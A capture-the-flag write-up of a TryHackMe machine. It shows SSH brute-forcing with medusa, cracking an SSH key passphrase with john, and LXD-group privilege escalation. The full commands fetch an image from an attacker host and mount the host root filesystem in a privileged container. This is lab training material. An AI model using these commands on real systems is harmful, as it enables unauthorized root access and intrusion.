This is a fun box on tryhackme which can help us teach lxd privilege esclation and how to deal with ssh private keys. Initially we get an ssh private key and a wordlist which we can crack to get an initial shell on the system. Enumerating we find that we are a member of the lxd group which can help us in utilizing LXD privilege esclation.

Target: 10.10.8.161

Initial Foothold

Nmap

Initially scanning the host for all ports, we found two ports open, 22 and 80.

Navigating to the Robots.txt has a secret /uploads/ folder where we find a secret dictionary file.

We download this password list onto our system as this might help in bruteforcing the ssh passowrd.

1

wget http://10.10.8.161/uploads/dict.lst

We also found the Username in source code of the homepage.

Medusa (Failed!)

So, Trying to bruteforce SSH for user john using the passlist. (Failed)

1

medusa -u john -P dict.lst -h 10.10.8.161 -M ssh

Gobuster

Enumering for more hidden directories using Gobuster.

Found a ssh Private key in /secretKey folder. Using john we can crack the passford for the Keyfile

Cracking key using John

• Getting the hash of ssh.
  

• Cracking the password using john.
  

Loggin using ssh-key and the password letmein as user john is successful.

Lets get the user flag.

Privilege Esclation

Next ennumerating the box for more information. We found out we are member of the lxd group.

LXD Privilege Esclation

I had no idea of LXD esclation before so, I found this interesting article which explained it pretty well.

LXD Esclation - Payloads All The Things

Firstly on our attacker machine we build the lxd-alpine image and transfer it to our target using python web server.

1
2
3
4

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server

On our target, we navigate to the /tmp folder, download the alpine archive from our attacker machine and use it to build an container mounting the root filesystem.

1
2
3
4
5
6
7
8
9

cd /tmp
wget http://10.17.11.129:8000/apline-v3.10-x86_64-20191008_1227.tar.gz
lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id

PWNED!